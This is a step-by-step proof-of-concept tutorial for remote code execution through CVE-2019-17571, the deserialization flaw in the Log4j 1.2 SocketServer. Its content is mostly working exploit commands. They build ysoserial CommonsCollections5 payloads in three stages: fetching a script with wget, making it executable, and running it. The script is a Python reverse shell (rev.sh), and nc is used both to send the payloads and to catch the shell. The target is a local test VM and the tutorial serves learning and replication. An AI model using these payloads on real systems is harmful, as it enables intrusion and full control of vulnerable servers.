---
description: >-
  This is not my CVE. It's a quick and dirty proof of concept tutorial on
  achieving RCE abusing CVE-2019-17571 that I put together for a friend.
---

# CVE-2019-17571 RCE PoC

> CVE-2019-17571: \
> Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.

{% hint style="info" %}
The following PoC is based on [this great article](https://0xsapra.github.io/website/CVE-2019-17571) by [Aman Sapra](https://twitter.com/0xsapra). I merely modified the payload to showcase a reverse shell and provide a step by step guide for replication. This is not meant to be a write-up on this vuln nor Java deserialization attacks by any means.
{% endhint %}

## Setup

I'll be using a fresh Ubuntu 20.04 VM, though any OS should work. Following Sapras setup I will install the test application that he provides on his github and download the correct JDK.

1. Download the test server `JankenTestLogServer.jar` from [here](https://0xsapra.github.io/website/assets/files/JankenTestLogServer.jar) (credit: Aman Sapra)
2.  Download the Java dev-kit for linux: [jdk-7u80](https://files-cdn.liferay.com/mirrors/download.oracle.com/otn-pub/java/jdk/7u80-b15/jdk-7u80-linux-x64.tar.gz) and extract it with&#x20;

    &#x20;`tar xf jdk-7u80-linux-x64.tar.gz`
3. Create a simple config file for the test server (`touch config`) and paste the following contents into it:

{% code title="config" %}
```
log4j.rootLogger=DEBUG, consoleAppender

log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.consoleAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n
```
{% endcode %}

We can now start the test server on port 5111 with the following command:

```bash
./jdk1.7.0_80/bin/java -jar JankenTestLogServer.jar 5111 config
```

For generating the payloads (serialized Java objects) we'll also need an additional tool called `ysoserial` which can be downloaded from [here ](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)or [build from source](https://github.com/frohoff/ysoserial).

## RCE via Java Deserialization

While Aman Sapra demonstrates the RCE with a simple `curl` I'll be sending and triggering a basic Python reverse shell.

First, create a basic reverse shell script (taken from [PentestMonkey](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python)), for example `rev.sh`:

{% hint style="warning" %}
This should optimally happen somewhere outside of the directory where the server is running or otherwise you will be hosting and downloading the reverse shell in the same location. Just use a parallel directory for example.
{% endhint %}

{% code title="rev.sh" %}
```
export RHOST="127.0.0.1"
export RPORT=4444
python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```
{% endcode %}

Next, (back inside the directory where we extracted the JDK) we will create three payloads to \
a) download the reverse shell on the target (which actually is localhost in this example), \
b) make the script executable and \
c) execute it.

```bash
./jdk1.7.0_80/bin/java -jar ysoserial.jar CommonsCollections5 "wget 0:8000/rev.sh" > stage-one
./jdk1.7.0_80/bin/java -jar ysoserial.jar CommonsCollections5 "chmod +x rev.sh" > stage-two
./jdk1.7.0_80/bin/java -jar ysoserial.jar CommonsCollections5 "./rev.sh" > stage-three  
```

Last thing to do is to host our reverse shell script in one terminal and start a listener for the incoming connection in another one:

```bash
python3 -m http.server # Host the rev.sh file on port 8000
```

```bash
nc -nlvp 4444 # Start a listener
```

Having the test server, the python server and the listener running should look something like this:

![Test setup for the RCE](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FO1zXS3IiBgcPfkOR0ho5%2Fz.png?alt=media\&token=d6198b82-6193-49e6-a808-2571b5cc42c1)

Pane 1 shows the running test server, the Python server runs in pane 2 hosting the `rev.sh` file on port 8000, pane 3 has the listener running and we're ready to send the payloads from the fourth panel.

```bash
cat stage-one | nc 0 5111   # This will trigger a request from the python server
cat stage-two | nc 0 5111   # This will make rev.sh executable
cat stage-three | nc 0 5111 # This will trigger the reverse shell
```

![After sending the three payloads we gain shell access in the bottom right pane](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2Fi2TaBMdRFh6hZC0M0zuo%2Frce-cve-2019-17571.png?alt=media\&token=cbf6757f-4a1b-4b2c-b040-e7cd5e6bc8bd)

{% hint style="success" %}
Et voilà, we successfully gained shell access.
{% endhint %}

{% hint style="info" %}
Again, this guide is only meant to share a step by step PoC. If you're looking for mitigations and details you might want to check out these links: [Apache](https://www.mail-archive.com/announce@apache.org/msg05620.html) and [NVD](https://nvd.nist.gov/vuln/detail/CVE-2019-17571).
{% endhint %}
